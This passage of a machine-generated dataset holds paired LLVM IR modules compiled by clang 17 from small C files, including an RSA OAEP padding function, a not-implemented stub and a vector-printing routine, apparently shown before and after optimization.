%75 = icmp eq i32 %72, %74
br i1 %75, label %76, label %77
76: ; preds = %70
br label %85
77: ; preds = %70
%78 = load i8, ptr %9, align 1
%79 = sext i8 %78 to i32
%80 = load i8, ptr %10, align 1
%81 = sext i8 %80 to i32
%82 = icmp sgt i32 %79, %81
br i1 %82, label %83, label %84
83: ; preds = %77
store i32 1, ptr %4, align 4
br label %103
84: ; preds = %77
store i32 -1, ptr %4, align 4
br label %103
85: ; preds = %76
%86 = load i32, ptr %8, align 4
%87 = add nsw i32 %86, 1
store i32 %87, ptr %8, align 4
br label %11, !llvm.loop !6
88: ; preds = %32
%89 = load i64, ptr %7, align 8
%90 = load i32, ptr %8, align 4
%91 = sext i32 %90 to i64
%92 = icmp eq i64 %89, %91
br i1 %92, label %93, label %94
93: ; preds = %88
store i32 0, ptr %4, align 4
br label %103
94: ; preds = %88
%95 = load ptr, ptr %5, align 8
%96 = load i32, ptr %8, align 4
%97 = sext i32 %96 to i64
%98 = getelementptr inbounds i8, ptr %95, i64 %97
%99 = load i8, ptr %98, align 1
%100 = icmp ne i8 %99, 0
br i1 %100, label %101, label %102
101: ; preds = %94
store i32 1, ptr %4, align 4
br label %103
102: ; preds = %94
store i32 -1, ptr %4, align 4
br label %103
103: ; preds = %102, %101, %93, %84, %83
%104 = load i32, ptr %4, align 4
ret i32 %104
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp74fcx3gs.c'
source_filename = "/tmp/tmp74fcx3gs.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [38 x i8] c"NOT IMPLEMENTED:pa_maybe_prefix_path\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @pa_maybe_prefix_path() #0 {
%1 = alloca i32, align 4
%2 = call i32 @printf(ptr noundef @.str)
%3 = load i32, ptr %1, align 4
ret i32 %3
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp74fcx3gs.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [38 x i8] c"NOT IMPLEMENTED:pa_maybe_prefix_path\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @pa_maybe_prefix_path() #0 {
%1 = alloca i32, align 4
%2 = call i32 @printf(ptr noundef @.str)
%3 = load i32, ptr %1, align 4
ret i32 %3
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpp0_u8342.c'
source_filename = "/tmp/tmpp0_u8342.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@SHA_DIGEST_LENGTH = dso_local global i32 0, align 4
@RSA_R_DATA_TOO_LARGE_FOR_KEY_SIZE = dso_local global i32 0, align 4
@RSA_R_KEY_SIZE_TOO_SMALL = dso_local global i32 0, align 4
@ERR_R_MALLOC_FAILURE = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @RSA_padding_add_PKCS1_OAEP(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, ptr noundef %4, i32 noundef %5) #0 {
%7 = alloca i32, align 4
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
%12 = alloca ptr, align 8
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca ptr, align 8
%17 = alloca ptr, align 8
%18 = alloca ptr, align 8
%19 = alloca ptr, align 8
%20 = alloca i64, align 8
%21 = alloca i32, align 4
store ptr %0, ptr %8, align 8
store i32 %1, ptr %9, align 4
store ptr %2, ptr %10, align 8
store i32 %3, ptr %11, align 4
store ptr %4, ptr %12, align 8
store i32 %5, ptr %13, align 4
%22 = load i32, ptr %9, align 4
%23 = sub nsw i32 %22, 1
store i32 %23, ptr %15, align 4
%24 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%25 = zext i32 %24 to i64
%26 = call ptr @llvm.stacksave()
store ptr %26, ptr %19, align 8
%27 = alloca i8, i64 %25, align 16
store i64 %25, ptr %20, align 8
%28 = load i32, ptr %11, align 4
%29 = load i32, ptr %15, align 4
%30 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%31 = mul nsw i32 2, %30
%32 = sub nsw i32 %29, %31
%33 = sub nsw i32 %32, 1
%34 = icmp sgt i32 %28, %33
br i1 %34, label %35, label %38
35: ; preds = %6
%36 = load i32, ptr @RSA_R_DATA_TOO_LARGE_FOR_KEY_SIZE, align 4
%37 = call i32 @RSAerror(i32 noundef %36)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %186
38: ; preds = %6
%39 = load i32, ptr %15, align 4
%40 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%41 = mul nsw i32 2, %40
%42 = add nsw i32 %41, 1
%43 = icmp slt i32 %39, %42
br i1 %43, label %44, label %47
44: ; preds = %38
%45 = load i32, ptr @RSA_R_KEY_SIZE_TOO_SMALL, align 4
%46 = call i32 @RSAerror(i32 noundef %45)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %186
47: ; preds = %38
%48 = load ptr, ptr %8, align 8
%49 = getelementptr inbounds i8, ptr %48, i64 0
store i8 0, ptr %49, align 1
%50 = load ptr, ptr %8, align 8
%51 = getelementptr inbounds i8, ptr %50, i64 1
store ptr %51, ptr %17, align 8
%52 = load ptr, ptr %8, align 8
%53 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%54 = sext i32 %53 to i64
%55 = getelementptr inbounds i8, ptr %52, i64 %54
%56 = getelementptr inbounds i8, ptr %55, i64 1
store ptr %56, ptr %16, align 8
%57 = load ptr, ptr %12, align 8
%58 = load i32, ptr %13, align 4
%59 = load ptr, ptr %16, align 8
%60 = call i32 (...) @EVP_sha1()
%61 = call i32 @EVP_Digest(ptr noundef %57, i32 noundef %58, ptr noundef %59, ptr noundef null, i32 noundef %60, ptr noundef null)
%62 = icmp ne i32 %61, 0
br i1 %62, label %64, label %63
63: ; preds = %47
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %186
64: ; preds = %47
%65 = load ptr, ptr %16, align 8
%66 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds i8, ptr %65, i64 %67
%69 = load i32, ptr %15, align 4
%70 = load i32, ptr %11, align 4
%71 = sub nsw i32 %69, %70
%72 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%73 = mul nsw i32 2, %72
%74 = sub nsw i32 %71, %73
%75 = sub nsw i32 %74, 1
%76 = call i32 @memset(ptr noundef %68, i32 noundef 0, i32 noundef %75)
%77 = load ptr, ptr %16, align 8
%78 = load i32, ptr %15, align 4
%79 = load i32, ptr %11, align 4
%80 = sub nsw i32 %78, %79
%81 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%82 = sub nsw i32 %80, %81
%83 = sub nsw i32 %82, 1
%84 = sext i32 %83 to i64
%85 = getelementptr inbounds i8, ptr %77, i64 %84
store i8 1, ptr %85, align 1
%86 = load ptr, ptr %16, align 8
%87 = load i32, ptr %15, align 4
%88 = sext i32 %87 to i64
%89 = getelementptr inbounds i8, ptr %86, i64 %88
%90 = load i32, ptr %11, align 4
%91 = sext i32 %90 to i64
%92 = sub i64 0, %91
%93 = getelementptr inbounds i8, ptr %89, i64 %92
%94 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%95 = sext i32 %94 to i64
%96 = sub i64 0, %95
%97 = getelementptr inbounds i8, ptr %93, i64 %96
%98 = load ptr, ptr %10, align 8
%99 = load i32, ptr %11, align 4
%100 = call i32 @memcpy(ptr noundef %97, ptr noundef %98, i32 noundef %99)
%101 = load ptr, ptr %17, align 8
%102 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%103 = call i32 @arc4random_buf(ptr noundef %101, i32 noundef %102)
%104 = load i32, ptr %15, align 4
%105 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%106 = sub nsw i32 %104, %105
%107 = call ptr @malloc(i32 noundef %106)
store ptr %107, ptr %18, align 8
%108 = load ptr, ptr %18, align 8
%109 = icmp eq ptr %108, null
br i1 %109, label %110, label %113
110: ; preds = %64
%111 = load i32, ptr @ERR_R_MALLOC_FAILURE, align 4
%112 = call i32 @RSAerror(i32 noundef %111)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %186
113: ; preds = %64
%114 = load ptr, ptr %18, align 8
%115 = load i32, ptr %15, align 4
%116 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%117 = sub nsw i32 %115, %116
%118 = load ptr, ptr %17, align 8
%119 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%120 = call i64 @MGF1(ptr noundef %114, i32 noundef %117, ptr noundef %118, i32 noundef %119)
%121 = icmp slt i64 %120, 0
br i1 %121, label %122, label %125
122: ; preds = %113
%123 = load ptr, ptr %18, align 8
%124 = call i32 @free(ptr noundef %123)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %186
125: ; preds = %113
store i32 0, ptr %14, align 4
br label %126
126: ; preds = %147, %125
%127 = load i32, ptr %14, align 4
%128 = load i32, ptr %15, align 4
%129 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%130 = sub nsw i32 %128, %129
%131 = icmp slt i32 %127, %130
br i1 %131, label %132, label %150
132: ; preds = %126
%133 = load ptr, ptr %18, align 8
%134 = load i32, ptr %14, align 4
%135 = sext i32 %134 to i64
%136 = getelementptr inbounds i8, ptr %133, i64 %135
%137 = load i8, ptr %136, align 1
%138 = zext i8 %137 to i32
%139 = load ptr, ptr %16, align 8
%140 = load i32, ptr %14, align 4
%141 = sext i32 %140 to i64
%142 = getelementptr inbounds i8, ptr %139, i64 %141
%143 = load i8, ptr %142, align 1
%144 = zext i8 %143 to i32
%145 = xor i32 %144, %138
%146 = trunc i32 %145 to i8
store i8 %146, ptr %142, align 1
br label %147
147: ; preds = %132
%148 = load i32, ptr %14, align 4
%149 = add nsw i32 %148, 1
store i32 %149, ptr %14, align 4
br label %126, !llvm.loop !6
150: ; preds = %126
%151 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%152 = load ptr, ptr %16, align 8
%153 = load i32, ptr %15, align 4
%154 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%155 = sub nsw i32 %153, %154
%156 = call i64 @MGF1(ptr noundef %27, i32 noundef %151, ptr noundef %152, i32 noundef %155)
%157 = icmp slt i64 %156, 0
br i1 %157, label %158, label %161
158: ; preds = %150
%159 = load ptr, ptr %18, align 8
%160 = call i32 @free(ptr noundef %159)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %186
161: ; preds = %150
store i32 0, ptr %14, align 4
br label %162
162: ; preds = %180, %161
%163 = load i32, ptr %14, align 4
%164 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%165 = icmp slt i32 %163, %164
br i1 %165, label %166, label %183
166: ; preds = %162
%167 = load i32, ptr %14, align 4
%168 = sext i32 %167 to i64
%169 = getelementptr inbounds i8, ptr %27, i64 %168
%170 = load i8, ptr %169, align 1
%171 = zext i8 %170 to i32
%172 = load ptr, ptr %17, align 8
%173 = load i32, ptr %14, align 4
%174 = sext i32 %173 to i64
%175 = getelementptr inbounds i8, ptr %172, i64 %174
%176 = load i8, ptr %175, align 1
%177 = zext i8 %176 to i32
%178 = xor i32 %177, %171
%179 = trunc i32 %178 to i8
store i8 %179, ptr %175, align 1
br label %180
180: ; preds = %166
%181 = load i32, ptr %14, align 4
%182 = add nsw i32 %181, 1
store i32 %182, ptr %14, align 4
br label %162, !llvm.loop !8
183: ; preds = %162
%184 = load ptr, ptr %18, align 8
%185 = call i32 @free(ptr noundef %184)
store i32 1, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %186
186: ; preds = %183, %158, %122, %110, %63, %44, %35
%187 = load ptr, ptr %19, align 8
call void @llvm.stackrestore(ptr %187)
%188 = load i32, ptr %7, align 4
ret i32 %188
}
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #1
declare i32 @RSAerror(i32 noundef) #2
declare i32 @EVP_Digest(ptr noundef, i32 noundef, ptr noundef, ptr noundef, i32 noundef, ptr noundef) #2
declare i32 @EVP_sha1(...) #2
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #2
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @arc4random_buf(ptr noundef, i32 noundef) #2
declare ptr @malloc(i32 noundef) #2
declare i64 @MGF1(ptr noundef, i32 noundef, ptr noundef, i32 noundef) #2
declare i32 @free(ptr noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind willreturn }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpp0_u8342.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@SHA_DIGEST_LENGTH = dso_local global i32 0, align 4
@RSA_R_DATA_TOO_LARGE_FOR_KEY_SIZE = dso_local global i32 0, align 4
@RSA_R_KEY_SIZE_TOO_SMALL = dso_local global i32 0, align 4
@ERR_R_MALLOC_FAILURE = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @RSA_padding_add_PKCS1_OAEP(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, ptr noundef %4, i32 noundef %5) #0 {
%7 = alloca i32, align 4
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
%12 = alloca ptr, align 8
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca ptr, align 8
%17 = alloca ptr, align 8
%18 = alloca ptr, align 8
%19 = alloca ptr, align 8
%20 = alloca i64, align 8
%21 = alloca i32, align 4
store ptr %0, ptr %8, align 8
store i32 %1, ptr %9, align 4
store ptr %2, ptr %10, align 8
store i32 %3, ptr %11, align 4
store ptr %4, ptr %12, align 8
store i32 %5, ptr %13, align 4
%22 = load i32, ptr %9, align 4
%23 = sub nsw i32 %22, 1
store i32 %23, ptr %15, align 4
%24 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%25 = zext i32 %24 to i64
%26 = call ptr @llvm.stacksave()
store ptr %26, ptr %19, align 8
%27 = alloca i8, i64 %25, align 16
store i64 %25, ptr %20, align 8
%28 = load i32, ptr %11, align 4
%29 = load i32, ptr %15, align 4
%30 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%31 = mul nsw i32 2, %30
%32 = sub nsw i32 %29, %31
%33 = sub nsw i32 %32, 1
%34 = icmp sgt i32 %28, %33
br i1 %34, label %35, label %38
35: ; preds = %6
%36 = load i32, ptr @RSA_R_DATA_TOO_LARGE_FOR_KEY_SIZE, align 4
%37 = call i32 @RSAerror(i32 noundef %36)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %192
38: ; preds = %6
%39 = load i32, ptr %15, align 4
%40 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%41 = mul nsw i32 2, %40
%42 = add nsw i32 %41, 1
%43 = icmp slt i32 %39, %42
br i1 %43, label %44, label %47
44: ; preds = %38
%45 = load i32, ptr @RSA_R_KEY_SIZE_TOO_SMALL, align 4
%46 = call i32 @RSAerror(i32 noundef %45)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %192
47: ; preds = %38
%48 = load ptr, ptr %8, align 8
%49 = getelementptr inbounds i8, ptr %48, i64 0
store i8 0, ptr %49, align 1
%50 = load ptr, ptr %8, align 8
%51 = getelementptr inbounds i8, ptr %50, i64 1
store ptr %51, ptr %17, align 8
%52 = load ptr, ptr %8, align 8
%53 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%54 = sext i32 %53 to i64
%55 = getelementptr inbounds i8, ptr %52, i64 %54
%56 = getelementptr inbounds i8, ptr %55, i64 1
store ptr %56, ptr %16, align 8
%57 = load ptr, ptr %12, align 8
%58 = load i32, ptr %13, align 4
%59 = load ptr, ptr %16, align 8
%60 = call i32 (...) @EVP_sha1()
%61 = call i32 @EVP_Digest(ptr noundef %57, i32 noundef %58, ptr noundef %59, ptr noundef null, i32 noundef %60, ptr noundef null)
%62 = icmp ne i32 %61, 0
br i1 %62, label %64, label %63
63: ; preds = %47
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %192
64: ; preds = %47
%65 = load ptr, ptr %16, align 8
%66 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds i8, ptr %65, i64 %67
%69 = load i32, ptr %15, align 4
%70 = load i32, ptr %11, align 4
%71 = sub nsw i32 %69, %70
%72 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%73 = mul nsw i32 2, %72
%74 = sub nsw i32 %71, %73
%75 = sub nsw i32 %74, 1
%76 = call i32 @memset(ptr noundef %68, i32 noundef 0, i32 noundef %75)
%77 = load ptr, ptr %16, align 8
%78 = load i32, ptr %15, align 4
%79 = load i32, ptr %11, align 4
%80 = sub nsw i32 %78, %79
%81 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%82 = sub nsw i32 %80, %81
%83 = sub nsw i32 %82, 1
%84 = sext i32 %83 to i64
%85 = getelementptr inbounds i8, ptr %77, i64 %84
store i8 1, ptr %85, align 1
%86 = load ptr, ptr %16, align 8
%87 = load i32, ptr %15, align 4
%88 = sext i32 %87 to i64
%89 = getelementptr inbounds i8, ptr %86, i64 %88
%90 = load i32, ptr %11, align 4
%91 = sext i32 %90 to i64
%92 = sub i64 0, %91
%93 = getelementptr inbounds i8, ptr %89, i64 %92
%94 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%95 = sext i32 %94 to i64
%96 = sub i64 0, %95
%97 = getelementptr inbounds i8, ptr %93, i64 %96
%98 = load ptr, ptr %10, align 8
%99 = load i32, ptr %11, align 4
%100 = call i32 @memcpy(ptr noundef %97, ptr noundef %98, i32 noundef %99)
%101 = load ptr, ptr %17, align 8
%102 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%103 = call i32 @arc4random_buf(ptr noundef %101, i32 noundef %102)
%104 = load i32, ptr %15, align 4
%105 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%106 = sub nsw i32 %104, %105
%107 = call ptr @malloc(i32 noundef %106)
store ptr %107, ptr %18, align 8
%108 = load ptr, ptr %18, align 8
%109 = icmp eq ptr %108, null
br i1 %109, label %110, label %113
110: ; preds = %64
%111 = load i32, ptr @ERR_R_MALLOC_FAILURE, align 4
%112 = call i32 @RSAerror(i32 noundef %111)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %192
113: ; preds = %64
%114 = load ptr, ptr %18, align 8
%115 = load i32, ptr %15, align 4
%116 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%117 = sub nsw i32 %115, %116
%118 = load ptr, ptr %17, align 8
%119 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%120 = call i64 @MGF1(ptr noundef %114, i32 noundef %117, ptr noundef %118, i32 noundef %119)
%121 = icmp slt i64 %120, 0
br i1 %121, label %122, label %125
122: ; preds = %113
%123 = load ptr, ptr %18, align 8
%124 = call i32 @free(ptr noundef %123)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %192
125: ; preds = %113
store i32 0, ptr %14, align 4
%126 = load i32, ptr %14, align 4
%127 = load i32, ptr %15, align 4
%128 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%129 = sub nsw i32 %127, %128
%130 = icmp slt i32 %126, %129
br i1 %130, label %.lr.ph, label %154
.lr.ph: ; preds = %125
br label %131
131: ; preds = %.lr.ph, %146
%132 = load ptr, ptr %18, align 8
%133 = load i32, ptr %14, align 4
%134 = sext i32 %133 to i64
%135 = getelementptr inbounds i8, ptr %132, i64 %134
%136 = load i8, ptr %135, align 1
%137 = zext i8 %136 to i32
%138 = load ptr, ptr %16, align 8
%139 = load i32, ptr %14, align 4
%140 = sext i32 %139 to i64
%141 = getelementptr inbounds i8, ptr %138, i64 %140
%142 = load i8, ptr %141, align 1
%143 = zext i8 %142 to i32
%144 = xor i32 %143, %137
%145 = trunc i32 %144 to i8
store i8 %145, ptr %141, align 1
br label %146
146: ; preds = %131
%147 = load i32, ptr %14, align 4
%148 = add nsw i32 %147, 1
store i32 %148, ptr %14, align 4
%149 = load i32, ptr %14, align 4
%150 = load i32, ptr %15, align 4
%151 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%152 = sub nsw i32 %150, %151
%153 = icmp slt i32 %149, %152
br i1 %153, label %131, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %146
br label %154
154: ; preds = %._crit_edge, %125
%155 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%156 = load ptr, ptr %16, align 8
%157 = load i32, ptr %15, align 4
%158 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%159 = sub nsw i32 %157, %158
%160 = call i64 @MGF1(ptr noundef %27, i32 noundef %155, ptr noundef %156, i32 noundef %159)
%161 = icmp slt i64 %160, 0
br i1 %161, label %162, label %165
162: ; preds = %154
%163 = load ptr, ptr %18, align 8
%164 = call i32 @free(ptr noundef %163)
store i32 0, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %192
165: ; preds = %154
store i32 0, ptr %14, align 4
%166 = load i32, ptr %14, align 4
%167 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%168 = icmp slt i32 %166, %167
br i1 %168, label %.lr.ph2, label %189
.lr.ph2: ; preds = %165
br label %169
169: ; preds = %.lr.ph2, %183
%170 = load i32, ptr %14, align 4
%171 = sext i32 %170 to i64
%172 = getelementptr inbounds i8, ptr %27, i64 %171
%173 = load i8, ptr %172, align 1
%174 = zext i8 %173 to i32
%175 = load ptr, ptr %17, align 8
%176 = load i32, ptr %14, align 4
%177 = sext i32 %176 to i64
%178 = getelementptr inbounds i8, ptr %175, i64 %177
%179 = load i8, ptr %178, align 1
%180 = zext i8 %179 to i32
%181 = xor i32 %180, %174
%182 = trunc i32 %181 to i8
store i8 %182, ptr %178, align 1
br label %183
183: ; preds = %169
%184 = load i32, ptr %14, align 4
%185 = add nsw i32 %184, 1
store i32 %185, ptr %14, align 4
%186 = load i32, ptr %14, align 4
%187 = load i32, ptr @SHA_DIGEST_LENGTH, align 4
%188 = icmp slt i32 %186, %187
br i1 %188, label %169, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %183
br label %189
189: ; preds = %._crit_edge3, %165
%190 = load ptr, ptr %18, align 8
%191 = call i32 @free(ptr noundef %190)
store i32 1, ptr %7, align 4
store i32 1, ptr %21, align 4
br label %192
192: ; preds = %189, %162, %122, %110, %63, %44, %35
%193 = load ptr, ptr %19, align 8
call void @llvm.stackrestore(ptr %193)
%194 = load i32, ptr %7, align 4
ret i32 %194
}
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #1
declare i32 @RSAerror(i32 noundef) #2
declare i32 @EVP_Digest(ptr noundef, i32 noundef, ptr noundef, ptr noundef, i32 noundef, ptr noundef) #2
declare i32 @EVP_sha1(...) #2
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #2
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @arc4random_buf(ptr noundef, i32 noundef) #2
declare ptr @malloc(i32 noundef) #2
declare i64 @MGF1(ptr noundef, i32 noundef, ptr noundef, i32 noundef) #2
declare i32 @free(ptr noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind willreturn }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpf0i3sq8q.c'
source_filename = "/tmp/tmpf0i3sq8q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%d \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @printVector(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
store i32 0, ptr %5, align 4
br label %6
6: ; preds = %17, %2
%7 = load i32, ptr %5, align 4
%8 = load i32, ptr %4, align 4
%9 = icmp slt i32 %7, %8
br i1 %9, label %10, label %20
10: ; preds = %6
%11 = load ptr, ptr %3, align 8
%12 = load i32, ptr %5, align 4
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds i64, ptr %11, i64 %13
%15 = load i64, ptr %14, align 8
%16 = call i32 @printf(ptr noundef @.str, i64 noundef %15)
br label %17
17: ; preds = %10
%18 = load i32, ptr %5, align 4
